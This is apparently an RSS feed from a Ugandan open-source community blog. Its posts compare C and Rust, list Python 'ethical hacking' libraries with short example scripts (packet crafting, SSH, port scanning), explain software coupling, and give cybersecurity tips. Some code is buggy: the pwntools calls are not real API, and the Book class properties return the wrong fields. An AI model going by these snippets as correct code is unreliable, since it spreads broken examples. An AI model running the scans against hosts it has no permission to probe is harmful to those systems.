To create a simple Fibonacci sequence in C,...]]></description><link>https://blog.oscakampala.org/c-vs-rust-cyber-security-programming-which-one-to-choose</link><guid isPermaLink="true">https://blog.oscakampala.org/c-vs-rust-cyber-security-programming-which-one-to-choose</guid><category><![CDATA[Rust]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Binary Exploitation]]></category><category><![CDATA[C]]></category><category><![CDATA[programming languages]]></category><dc:creator><![CDATA[WarrenMu]]></dc:creator><pubDate>Sun, 08 Jan 2023 21:21:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1673211457912/fa62d6fb-459d-48d3-93d0-a4006a86b4b3.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Both C and Rust are programming languages that can be challenging to learn, especially if you are new to programming. However, they are both powerful languages that are widely used in the software industry.</p>
<p>To create a simple Fibonacci sequence in C, you could use the following code:</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
   <span class="hljs-keyword">int</span> i, n, t1 = <span class="hljs-number">0</span>, t2 = <span class="hljs-number">1</span>, nextTerm;

   <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Enter the number of terms: "</span>);
   <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%d"</span>, &amp;n);

   <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Fibonacci Series: "</span>);

   <span class="hljs-keyword">for</span> (i = <span class="hljs-number">1</span>; i &lt;= n; ++i) {
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%d, "</span>, t1);
      nextTerm = t1 + t2;
      t1 = t2;
      t2 = nextTerm;
   }
   <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>To create a simple Fibonacci sequence in Rust, you could use the following code:</p>
<pre><code class="lang-rust"><span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">main</span></span>() {
    <span class="hljs-keyword">let</span> <span class="hljs-keyword">mut</span> t1 = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">let</span> <span class="hljs-keyword">mut</span> t2 = <span class="hljs-number">1</span>;
    <span class="hljs-keyword">let</span> <span class="hljs-keyword">mut</span> next_term;
    <span class="hljs-keyword">let</span> n = <span class="hljs-number">10</span>;

    <span class="hljs-built_in">println!</span>(<span class="hljs-string">"Fibonacci Series: "</span>);

    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-number">0</span>..n {
        next_term = t1 + t2;
        t1 = t2;
        t2 = next_term;

        <span class="hljs-built_in">println!</span>(<span class="hljs-string">"{}"</span>, t1);
    }
}
</code></pre>
<p>It is difficult to determine which version of the code will be faster without profiling them and comparing the performance. In general, C is known for being a fast and efficient language, while Rust is designed to provide the performance of a systems language while being safer and easier to use.</p>
<p>It is difficult to determine which of the two languages, C or Rust, is the "best" to use in cybersecurity based on the simple Fibonacci sequence examples provided. Both C and Rust are powerful languages that are used in a variety of applications, including in the field of cybersecurity.</p>
<p>In the field of cybersecurity, either C or Rust could be a good choice, depending on your specific needs and goals. Both languages have their own strengths and limitations, and the best choice for your project will depend on the requirements and constraints of your project.</p>
<p>In general, if you are new to programming and are looking for a language that is easier to learn and use, Rust may be a better choice for you. On the other hand, if you have experience with C or other low-level languages and are comfortable with the complexity and challenges of systems programming, C may be a better choice. Ultimately, the best language for your project will depend on your specific goals and requirements.</p>
<p>As you can see all languages can run the same code but different syntax. All compiled, and fast.</p>
]]></content:encoded></item><item><title><![CDATA[Python Ethical Hacking Libraries]]></title><description><![CDATA[Libraries used in python for ethical hacking and cyber security.
As security developers, we need to know the libraries to use when creating hacking tools.
There are a number of libraries that can be used for ethical hacking and cyber security in Pyth...]]></description><link>https://blog.oscakampala.org/python-ethical-hacking-libraries</link><guid isPermaLink="true">https://blog.oscakampala.org/python-ethical-hacking-libraries</guid><category><![CDATA[Python]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[Scripting]]></category><dc:creator><![CDATA[WarrenMu]]></dc:creator><pubDate>Sun, 08 Jan 2023 07:27:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1673161565300/ad47150c-1036-4e54-a81c-a7b1b26bcc9a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Libraries used in python for ethical hacking and cyber security.</p>
<p>As security developers, we need to know the libraries to use when creating hacking tools.</p>
<p>There are a number of libraries that can be used for ethical hacking and cyber security in Python. Some examples include:</p>
<p>Scapy: A powerful packet manipulation library that allows you to craft custom packets, send them over the wire, capture and analyze them, and more. It can be used for tasks such as network scanning, service fingerprinting, and exploitation.</p>
<p>Paramiko: A library for implementing SSH and SFTP in Python. It can be used to remotely execute commands, transfer files, and manage remote servers.</p>
<p>Cryptography: A library for encrypting and decrypting data, as well as other cryptographic tasks such as generating hashes and signing messages.</p>
<p>Pwntools: A library specifically designed for writing and testing exploits. It includes features such as automatic exploit generation and a debugger.</p>
<p>Nmap: A popular network scanning tool that can be used to discover hosts and services on a network, as well as to perform security assessments. The Nmap library allows you to use Nmap from within Python.</p>
<p>SocksiPy: A library for implementing SOCKS proxies in Python. It can be used to establish anonymous connections, bypass firewalls, and more.</p>
<p>Requests: A library for making HTTP requests in Python. It can be used for tasks such as testing web servers, submitting forms, and automating login processes.</p>
<p>These are just a few examples of the many libraries that can be used for ethical hacking and cyber security in Python.</p>
<p>Here are simple example scripts for each of the libraries mentioned above:</p>
<p>Scapy</p>
<h1 id="heading-import-the-scapy-library"><code>Import the Scapy library</code></h1>
<p><code>from scapy.all import *</code></p>
<h1 id="heading-create-a-custom-packet"><code>Create a custom packet</code></h1>
<p><code>packet = IP(dst="</code><a target="_blank" href="http://www.example.com"><code>www.example.com</code></a><code>") / ICMP()</code></p>
<h1 id="heading-send-the-packet-and-receive-the-response"><code>Send the packet and receive the response</code></h1>
<p><code>response = sr1(packet)</code></p>
<h1 id="heading-print-the-response"><code>Print the response</code></h1>
<p><code>print(response)</code></p>
<p>Paramiko:</p>
<h1 id="heading-import-the-paramiko-library">Import the Paramiko library</h1>
<p>import paramiko</p>
<h1 id="heading-set-up-the-ssh-client">Set up the SSH client</h1>
<p>client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.AutoAddPolicy())</p>
<h1 id="heading-connect-to-the-server">Connect to the server</h1>
<p>client.connect("<a target="_blank" href="http://www.example.com">www.example.com</a>", username="user", password="password")</p>
<h1 id="heading-execute-a-command">Execute a command</h1>
<p>stdin, stdout, stderr = client.exec_command("ls")</p>
<h1 id="heading-print-the-output-of-the-command">Print the output of the command</h1>
<p>print(<a target="_blank" href="http://stdout.read">stdout.read</a>())</p>
<h1 id="heading-disconnect-from-the-server">Disconnect from the server</h1>
<p>client.close()</p>
<p>Cryptography:</p>
<h1 id="heading-import-the-cryptography-library">Import the Cryptography library</h1>
<p>import cryptography</p>
<h1 id="heading-generate-a-random-key">Generate a random key</h1>
<p>key = cryptography.fernet.Fernet.generate_key()</p>
<h1 id="heading-create-a-fernet-object-using-the-key">Create a Fernet object using the key</h1>
<p>fernet = cryptography.fernet.Fernet(key)</p>
<h1 id="heading-encrypt-some-data">Encrypt some data</h1>
<p>data = b"secret message" encrypted_data = fernet.encrypt(data)</p>
<h1 id="heading-decrypt-the-data">Decrypt the data</h1>
<p>decrypted_data = fernet.decrypt(encrypted_data)</p>
<h1 id="heading-print-the-original-and-decrypted-data">Print the original and decrypted data</h1>
<p>print(data) print(decrypted_data)</p>
<p>Pwntools:</p>
<h1 id="heading-import-the-pwntools-library">Import the Pwntools library</h1>
<p>import pwn</p>
<h1 id="heading-connect-to-a-remote-server">Connect to a remote server</h1>
<p>pwn.connect("<a target="_blank" href="http://www.example.com">www.example.com</a>", port=12345)</p>
<h1 id="heading-send-a-message-to-the-server">Send a message to the server</h1>
<p>pwn.sendline("Hello, server!")</p>
<h1 id="heading-receive-a-response-from-the-server">Receive a response from the server</h1>
<p>response = pwn.recv()</p>
<h1 id="heading-print-the-response-1">Print the response</h1>
<p>print(response)</p>
<h1 id="heading-disconnect-from-the-server-1">Disconnect from the server</h1>
<p>pwn.close()</p>
<p>Nmap:</p>
<h1 id="heading-import-the-nmap-library">Import the Nmap library</h1>
<p>import nmap</p>
<h1 id="heading-create-an-nmap-scanner-object">Create an Nmap scanner object</h1>
<p>scanner = nmap.PortScanner()</p>
<h1 id="heading-scan-a-host-for-open-ports">Scan a host for open ports</h1>
<p>scanner.scan("<a target="_blank" href="http://www.example.com">www.example.com</a>", "1-1024")</p>
<h1 id="heading-print-the-results-of-the-scan">Print the results of the scan</h1>
<p>print(scanner.scaninfo()) print(scanner.csv())</p>
<p>SocksiPy:</p>
<h1 id="heading-import-the-socksipy-library">Import the SocksiPy library</h1>
<p>import socks import socket</p>
<h1 id="heading-set-up-a-socks-proxy">Set up a SOCKS proxy</h1>
<p>socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "<a target="_blank" href="http://localhost">localhost</a>", 1080) socket.socket = socks.socksocket</p>
<h1 id="heading-connect-to-a-remote-server-through-the-proxy">Connect to a remote server through the proxy</h1>
<p>s = socket.socket(<a target="_blank" href="http://socket.AF">socket.AF</a>_INET, socket.SOCK_STREAM) s.connect(("<a target="_blank" href="http://www.example.com">www.example.com</a>", 80))</p>
<p>Requests:</p>
<h1 id="heading-import-the-requests-library"><code>Import the Requests library</code></h1>
<p><code>import requests</code></p>
<h1 id="heading-make-a-get-request-to-a-web-server"><code>Make a GET request to a web server</code></h1>
<p><code>response = requests.get("</code><a target="_blank" href="https://www.example.com/"><code>https://www.example.com/</code></a><code>")</code></p>
<h1 id="heading-print-the-status-code-and-the-content-of-the-response"><code>Print the status code and the content of the response</code></h1>
<p><code>print(response.status_code) print(response.content)</code></p>
<h1 id="heading-make-a-post-request-to-a-web-server"><code>Make a POST request to a web server</code></h1>
<p><code>response =</code> <a target="_blank" href="http://requests.post"><code>requests.post</code></a><code>("</code><a target="_blank" href="https://www.example.com/login"><code>https://www.example.com/login</code></a><code>", data={"username": "user", "password": "password"})</code></p>
<h1 id="heading-print-the-status-code-and-the-content-of-the-response-1"><code>Print the status code and the content of the response</code></h1>
<p><code>print(response.status_code) print(response.content)</code></p>
<p>Stay tuned for more. And build put on your tools using the headups on these libraries. 👍</p>
]]></content:encoded></item><item><title><![CDATA[Design Pattern: Software abstractions]]></title><description><![CDATA[Tom is a very hardworking delivery man working for Ryder, a very large delivery company in Uganda. He was posted in the eastern part of the country and has been making deliveries there for 7 years now. By now, he knows the entire region and neighborh...]]></description><link>https://blog.oscakampala.org/design-pattern-software-abstractions</link><guid isPermaLink="true">https://blog.oscakampala.org/design-pattern-software-abstractions</guid><category><![CDATA[Python]]></category><dc:creator><![CDATA[TobiasHT]]></dc:creator><pubDate>Sat, 07 Jan 2023 11:22:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/t0Aio60jD4Q/upload/e0e782f8e1d8af969bd92d6d07a947de.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Tom is a very hardworking delivery man working for Ryder, a very large delivery company in Uganda. He was posted in the eastern part of the country and has been making deliveries there for 7 years now. By now, he knows the entire region and neighborhoods therein at the back of his hand. The neighborhood is very friendly and they also give him sizeable tips whenever he delivers to them. Tom has made lots of friends in the region, but his closest friends are the Mulindwa family, where he makes the most deliveries. On a busy week, he can make over 100 deliveries to the Mulindwas.</p>
<p>One day, he was given a package to deliver to the Mulindwas. He got into his delivery van to take the package to the Mulindwas. To his shock, he found the Mulindwas' house empty. It looked like they had moved. "To where?" Tom wondered to himself, "and what should I do with the package now?" he wondered even more. He tried asking around to find out where the Mulindwas had moved to, but it was all in vain. Not having any other choice, he decided to take back the package to the company. More and more packages were given to him to deliver to the Mulindwas, but he could not. And whenever he returned them, the packages were just placed in storage. They later sold them without anyone to claim them.</p>
<p>There is a lesson to learn about Tom's relationship with the Mulindwa family or the Mulindwa residence in particular. Tom was so accustomed to the Mulindwa residence that he never thought they'd ever move from that place. The Mulindwas also did not bother to inform Tom and the delivery company of their moving and their new address, so the company could not locate them. The attachment between Tom and the Mulindwas is what we call in software terms "tight coupling". When systems are tightly coupled, they are interdependent, and a change in one system may lead to the failure of the other.</p>
<h4 id="heading-tightly-coupled-systems">Tightly coupled systems</h4>
<p>Tightly coupled systems are characterized by programs that rely too much on each other to perform a given task. The programs expose to each other a set of API functions to call to run operations, and also the programs assume a lot of internal detail about the running of each other. For example in the case of Tom, he knew quite a lot about the time The Mulindwas woke up, their time for breakfast, the schools that John Mulindwa and Emily Mulindwa went to and the time they got back from school, basically he knew a lot about them. If you are worried about the security of the Mulindwa family in case Tom was a threat actor, then you absolutely should be. If one program knows a lot about how another program runs internally, there's a high chance it will be dependent on those steps to run before it also runs. And if program A exposes internal details to program B that can be modified to alter the running of A, then the system is almost beyond saving, as malicious code can easily corrupt it and the entire system</p>
<p>Tightly coupled systems are usually developed at the earlier stages of a project, and in most cases usually arise due to poor architectural design of the project. Tightly coupled systems are not scalable as they limit the interdependent programs from evolving independently of each other and according to the needs of each program. It means that if a change has to be made in program A, then program B has to be changed as well to reconcile with the new change in A to avoid failure. If there were over 100 programs or services interdependent of each other, it would be hard to reconcile the change in A among all the connected programs and hence impacting the scalability of the entire system.</p>
<p>Tightly coupled systems occur in various parts of a system, from variables inside a program to massive backend service clusters. So to deal with tightly coupled systems, we need to know at what level the coupling is happening. The general and most effective solution to coupling is introducing layers of abstraction into the system. These layers of abstraction should then only communicate to each other via message passing. the surface layer receives the message from the external program and transports it into the internal layers for processing. The internal layers then pass back a response to the surface API which is communicated back to the listening program. In case there's a change in the internal state of the processing program, the listening program is not affected. So to fix the problem with Tom and the Mulindwas, Tom is now supposed to deliver mail to the local regional mail receiver which will transport them to the mailboxes of the residents in that neighborhood. This limits Tom's direct interaction with residents. And when the Mulindwas move, they only leave their new delivery address to the regional mail receiver who can still route their mail to them, Tom can still keep delivering mail without knowing if the Mulindwas moved or not. It also relies on the heartbreaking moment where the Mulindwas have to say goodbye to Tom.</p>
<p>So to put some of the concepts discussed above into practice, he's how we would implement some software abstractions.</p>
<p>At the language level, if one is using the object-oriented paradigm, the <strong><mark>objects should not expose their internal state. And if they should, external programs should not modify that state directly.</mark></strong></p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Book</span> (<span class="hljs-params">object</span>):</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span> (<span class="hljs-params">self,
        name:str,
        author:str,
        price:int,
    </span>) -&gt; <span class="hljs-keyword">None</span>:</span>
        self._name = name
        self._author = author
        self._price = price

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">price</span> (<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> self._price

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">author</span> (<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> self._price

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">price</span> (<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> self._price
</code></pre>
<p>for example in the code snippet above. we have a book class with three internal attributes: <code>_name</code>,<code>_author</code>,<code>_price</code>. These attributes are only accessed (or should be accessed) by the internal methods of the class and external programs only interact with these attributes via the property descriptors. This means that external programs cannot modify these attributes, and if they should, we can extend the property descriptors to have controlled modifications. So even when we change the internal attributes to something else, the external programs can still interact with our class as if nothing has changed. For example, I'll change the <code>_author</code> attribute to retrieve its value from an external database</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> sqlite3
con = sqlite3.connect(<span class="hljs-string">"bookstore.db"</span>)
cur = con.cursor()

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Book</span> (<span class="hljs-params">object</span>):</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span> (<span class="hljs-params">self,
        name:str,
        author:str,
        price:int,
    </span>) -&gt; <span class="hljs-keyword">None</span>:</span>
        self._name = name
        self._author = cur.execute(<span class="hljs-string">'SELECT authors FROM Books WHERE authors = ? '</span>,author)
        self._price = price

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">price</span> (<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> self._price

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">author</span> (<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> self._price

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">price</span> (<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> self._price
</code></pre>
<p>The above code is not tested, but should not be used as well unless you place a <code>try</code> <code>except</code> block around the <code>_author</code> attribute to protect you from name errors when the author is not found in the database. Anyways, with this level of detail added, our external program does not know that we've included this. They will happily interact with our API without fear.</p>
<p>Bigger systems combat coupling by introducing message queues and relying on the event-driven design pattern. Message queues help your system scale and allow you to plug in new services with little to no need for configurations and changes in the entire system. This helps you deploy products much faster and lessens your time to market. It also contributes to the high availability of the system.</p>
<h4 id="heading-cpython-case-study">CPython case study</h4>
<p>The Python programming language is among the most popular, or even the most popular programming language in the world currently. It has many implementations, with the most popular being the reference implementation in C called CPython. Other implementations include PyPy, GraalPython, IronPython, Jython etc (The last two are no longer maintained.)</p>
<p>We turn our focus on CPython which was first published approximately 30 years ago by Guido Van Rossum. Guido designed the language to be as simple as possible and easy to learn, that's why it's popular today. But he made some design decisions back then that are raising many concerns today. One of the famous internal features is the Global Interpreter Lock often called the GIL. The GIL is supposed to help simplify the way multiple python threads interact with the python state such as dictionaries, lists and tuples to avoid their corruption by many threads trying to modify them at the same time. However, this exerts a heavy toll on multithreaded programs which would like to run multiple python threads in parallel not concurrently. Due to this very real need, many prominent libraries such as Numpy dug down to the C-API layer of cpython and side-stepped the effects of the GIL by releasing it around areas that require high computation and reacquiring it when it's time to interact with python.</p>
<p>Everything seemed calm until the efforts and push to remove the GIL became significant. There have been significant efforts to remove the GIL, however, all of them introduced breaking changes inside CPython which the external libraries rely on. So that means introducing these changes will render thousands of packages and libraries relying on these features useless, something that the CPython community can not let happen.</p>
<p>So there's an apparent need to evolve the internals of CPython to make it fit for the modern era of computation and data processing, but introducing those changes comes at a high cost which has been felt before when the community decided to move from version 2 to version 3. Some libraries never even recovered from that toll of rewriting hundreds of thousands of lines of python code. I've only highlighted the GIL, but many other areas have caused libraries to tightly couple with the python C-API. The problem comes from the issue I stated earlier above, Python exposes its internal state and internal API to external code which causes tight coupling.</p>
<p>There are significant efforts currently underway to solve this problem. One of them is the HPy project being worked on by the PyPy team. HPy is supposed to be a better C-API for the Python language. It's designed to be easily adopted by other implementations and hides the internal state and data of python internals behind a handle (hence the name HPy). The handle is our abstraction between the external code and the python internals, much as the regional mail receiver is an abstraction between Tom and the Mulindwas.</p>
<h3 id="heading-conclusion">conclusion</h3>
<p>Abstractions are a very wide and very important concept in software development. I've not been able to mention a lot of concepts because this is meant to be a short blog post and not a book. I'll hopefully share more information on how to implement abstraction or indirections more efficiently in a future post (only if there's interest in it), but alas, this is the end of this blog post. Catch you in the next post.</p>
]]></content:encoded></item><item><title><![CDATA[Cyber Awareness]]></title><description><![CDATA[Top Cybersecurity Tips in 2022
Here, we’ve compiled a list of the top cybersecurity tips and best practices for you to implement and share with others. We’ll continue to update this list to help keep your business secure.
1. Keep software up-to-date
...]]></description><link>https://blog.oscakampala.org/cyber-awareness</link><guid isPermaLink="true">https://blog.oscakampala.org/cyber-awareness</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[WarrenMu]]></dc:creator><pubDate>Thu, 22 Dec 2022 11:08:36 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-top-cybersecurity-tips-in-2022">Top Cybersecurity Tips in 2022</h2>
<p>Here, we’ve compiled a list of the top cybersecurity tips and best practices for you to implement and share with others. We’ll continue to update this list to help keep your business secure.</p>
<h3 id="heading-1-keep-software-up-to-date">1. Keep software up-to-date</h3>
<p>Software companies typically provide software updates for 3 reasons: to add new features, fix known bugs, and upgrade security.</p>
<p>Always update to the latest version of your software to protect yourself from new or existing security vulnerabilities.</p>
<h3 id="heading-2-avoid-opening-suspicious-emails">2. Avoid opening suspicious emails</h3>
<p>If an email looks suspicious, don’t open it because it might be a <a target="_blank" href="http://www.phishing.org/what-is-phishing">phishing scam</a>.</p>
<p>Someone might be impersonating another individual or company to gain access to your personal information. Sometimes the emails may also include attachments or links that can infect your devices.</p>
<h3 id="heading-3-keep-hardware-up-to-date">3. Keep hardware up-to-date</h3>
<p>Outdated computer hardware may not support the most recent software security upgrades. Additionally, old hardware makes it slower to respond to cyber-attacks if they happen. Make sure to use computer hardware that’s more up-to-date.</p>
<h3 id="heading-4-use-a-secure-file-sharing-solution-to-encrypt-data">4. Use a secure file-sharing solution to encrypt data</h3>
<p>If you regularly share confidential information, you absolutely need to start using a secure file-sharing solution. Regular email is not meant for exchanging sensitive documents, because if the emails are intercepted, unauthorized users will have access to your precious data.</p>
<p>On the other hand, using a secure file-sharing solution like TitanFile will automatically encrypt sensitive files so that you don’t have to worry about a data breach. Remember, your files are only as secure as the tools you chose to share them with.</p>
<h3 id="heading-5-use-anti-virus-and-anti-malware">5. Use anti-virus and anti-malware</h3>
<p>As long as you’re connected to the web, it’s impossible to have complete and total protection from malware. However, you can significantly reduce your vulnerability by ensuring you have an anti-virus and at least one anti-malware installed on your computers.</p>
<h3 id="heading-6-use-a-vpn-to-privatize-your-connections">6. Use a VPN to privatize your connections</h3>
<p>For a more secure and privatized network, use a virtual private network (VPN). It’ll encrypt your connection and protect your private information, even from your internet service provider.</p>
<h3 id="heading-7-check-links-before-you-click">7. Check links before you click</h3>
<p>Links can easily be disguised as something they’re not so it’s best to double check before you click on a hyperlink. On most browsers, you can see the target URL by hovering over the link. Do this to check links before you click on them.</p>
<h3 id="heading-8-dont-be-lazy-with-your-passwords">8. Don’t be lazy with your passwords!</h3>
<p>Put more effort into creating your passwords. You can use a tool like <a target="_blank" href="http://howsecureismypassword.net">howsecureismypassword.net</a> to find out how secure your passwords are.</p>
<h3 id="heading-9-disable-bluetooth-when-you-dont-need-it">9. Disable Bluetooth when you don’t need it</h3>
<p>Devices can be <a target="_blank" href="https://www.forbes.com/sites/thomasbrewster/2018/07/24/bluetooth-hack-warning-for-iphone-android-and-windows/#338c00a17d73">hacked via Bluetooth</a> and subsequently your private information can be stolen. If there’s no reason to have your Bluetooth on, turn it off!</p>
<h3 id="heading-10-enable-2-factor-authentication">10. Enable 2-Factor Authentication</h3>
<p>Many platforms now allow you to enable 2-factor authentication to keep your accounts more secure. It’s another layer of protection that helps verify that it’s actually you who is accessing your account and not someone who’s unauthorized. Enable this security feature when you can.</p>
<h3 id="heading-11-remove-adware-from-your-machines">11. Remove adware from your machines</h3>
<p>Adware collects information about you to serve you more targeted ads. It’s best to rid your computer of all forms of adware to maintain your privacy. Use <a target="_blank" href="https://www.malwarebytes.com/adwcleaner/">AdwCleaner</a> to clean adware and unwanted programs from your computer.</p>
<h3 id="heading-12-double-check-for-https-on-websites">12. Double check for HTTPS on websites</h3>
<p>When you’re on a website that isn’t using HTTPS, there’s no guarantee that the transfer of information between you and the site’s server is secure. Double-check that a site’s using HTTPS before you give away personal or private information.</p>
<h3 id="heading-13-dont-store-important-information-in-non-secure-places">13. Don’t store important information in non-secure places</h3>
<p>When storing information online, you want to keep it in a location that can’t be accessed by unauthorized users.</p>
<h3 id="heading-14-scan-external-storage-devices-for-viruses">14. Scan external storage devices for viruses</h3>
<p>External storage devices are just as prone to malware as internal storage devices. If you connect an infected external device to your computer, the malware can spread. Always scan external devices for malware before accessing them.</p>
<h3 id="heading-15-avoid-using-public-networks">15. Avoid using public networks</h3>
<p>When you connect to a public network, you’re sharing the network with everyone who is also connected. Any information you send or retrieve on the network is vulnerable. Stay away from public networks or use a VPN when you’re connected to one.</p>
<h3 id="heading-16-avoid-the-secure-enough-mentality">16. Avoid the “secure enough” mentality</h3>
<p>Unless you’re completely isolated from the rest of the world, there’s no such thing as being “secure enough.” Big companies like Facebook invest a fortune into security every year but are still affected by cyber attacks.</p>
<h3 id="heading-17-invest-in-security-upgrades">17. Invest in security upgrades</h3>
<p>Following the previous tip, try to invest in security upgrades when they’re available. It’s better to eat the costs of security than pay for the consequences of a security breach!</p>
<h3 id="heading-18-back-up-important-data">18. Back up important data</h3>
<p>Important data can be lost as a result of a security breach. To make sure you’re prepared to restore data once it’s lost, you should ensure your important information is backed up frequently on the cloud or a local storage device.</p>
<h3 id="heading-19-train-employees">19. Train employees</h3>
<p>The key to making cybersecurity work is to make sure your employees well trained, in sync, and consistently exercising security practices. Sometimes, one mistake from an improperly trained employee can cause an entire security system to crumble.</p>
]]></content:encoded></item><item><title><![CDATA[What is open source?]]></title><description><![CDATA[You might have come across the term "open source" once or twice, probably not at all. It might sound like a tech buzzword, but in a real sense, it isn't a difficult concept at all. In this article, I'll break it down in the simplest way to help you u...]]></description><link>https://blog.oscakampala.org/what-is-open-source</link><guid isPermaLink="true">https://blog.oscakampala.org/what-is-open-source</guid><category><![CDATA[Open Source Community]]></category><category><![CDATA[Open Source]]></category><dc:creator><![CDATA[Sasha Nannyange]]></dc:creator><pubDate>Wed, 28 Sep 2022 15:02:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1663838314620/3Y7gWlDrf.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>You might have come across the term "open source" once or twice, probably not at all. It might sound like a tech buzzword, but in a real sense, it isn't a difficult concept at all. In this article, I'll break it down in the simplest way to help you understand what open source means.</p>
<p>In tech terms, open source refers to software where the source code is available to the public. This code can then be seen, modified, and redistributed according to one's preference. However, today, the word open source has become a general term that doesn't only cover the tech aspect.</p>
<p>It covers a broader set of values known as "the open source way." Open-source efforts, projects, and products embrace and celebrate the values of open exchange, team effort, quick prototyping, open communication, and community-centered development.</p>
<h2 id="heading-the-difference-between-open-source-software-and-closed-source-software">The difference between open source software and closed source software</h2>
<p><strong>Open source software</strong> is the term used to describe computer programs whose sources are available for usage and accessible by the general public. This type of software employs code that is freely accessible online for the public to use and alter in any way they see fit. </p>
<p>To use this kind of software, a user usually has to accept the terms of a license which regulates the manner in which that software can be used, researched, modified, and distributed. Some open source licenses, commonly known as "copyleft" licenses, demand that anybody who distributes a modified open source program also distribute the program's source code.</p>
<p>Some examples of open-source software include Android, Firefox, Thunderbird, OpenOffice, Gimp, etc.</p>
<p><strong>Closed source software</strong>, on the other hand, refers to computer programs whose source code is not accessible to the general public. It is called CSS in short, and here, the source code is protected. </p>
<p>The software can only be modified by the single person or entity who generated it. Closed source software is often more expensive than open source, and a valid license that has been verified is required to use it. Because of the requirement to have an authenticated license, this tends to put restrictions on the user's ability to modify the software.</p>
<p>The most common examples of closed-source software include mac OS, Microsoft Office, Adobe Reader, Skype, Google Earth, etc.</p>
<p>Despite how tech-like all this sounds, open source is not only applicable to programmers or people in the tech field. As I mentioned earlier, the term open source has become a more general way of describing collaborative efforts to contribute to projects or products.</p>
<p>This means anyone with any set of skills like writing, graphic designing, etc., or ready to learn new ones can join a community of like-minded people like <a href="https://oscakampala.org/">OSCA (Kampala)</a> to contribute to local and global projects in ways that they see fit. </p>
<p>In conclusion, you can look at open source as a willingness to work with others in open-ended ways so that others can see and participate, accepting failure as a chance to grow, and encouraging everyone else to do the same.</p>
]]></content:encoded></item><item><title><![CDATA[Create content and build Curious Reader Interactive books to compete for 2,000$ in cash prizes!]]></title><description><![CDATA[Who's ready for the easiest non-coding hackathon on the planet? 🎉
We are excited to announce that Curious Learning is partnering with the amazing folks at Open Source for Equality for this July hackathon where you will be contributing open content, ...]]></description><link>https://blog.oscakampala.org/create-content-and-build-curious-reader-interactive-books-to-compete-for-2000dollar-in-cash-prizes</link><guid isPermaLink="true">https://blog.oscakampala.org/create-content-and-build-curious-reader-interactive-books-to-compete-for-2000dollar-in-cash-prizes</guid><category><![CDATA[hackathon]]></category><category><![CDATA[challenge]]></category><category><![CDATA[web app]]></category><category><![CDATA[Open Source]]></category><dc:creator><![CDATA[Deborah Aanyu Oduman]]></dc:creator><pubDate>Sat, 09 Jul 2022 21:19:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1657388563451/VqFy_Rfm0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong><em>Who's ready for the easiest non-coding hackathon on the planet?</em></strong> 🎉</p>
<p>We are excited to announce that <a target="_blank" href="https://www.curiouslearning.org/">Curious Learning</a> is partnering with the amazing folks at <a target="_blank" href="https://www.oseq.org/#:~:text=With%20open%20digital%20solutions%2C%20developed,projects%20that%20promote%20gender%20equality.">Open Source for Equality</a> for this July hackathon where you will be contributing open content, Yay!!!</p>
<p><iframe src="https://giphy.com/embed/bGPTxLislwm3u" width="380" height="380" class="giphy-embed"></iframe></p><p><a href="https://giphy.com/gifs/rihanna-makeout-bGPTxLislwm3u">via GIPHY</a></p><p></p>
<h1 id="heading-about-curious-reader">About Curious Reader</h1>
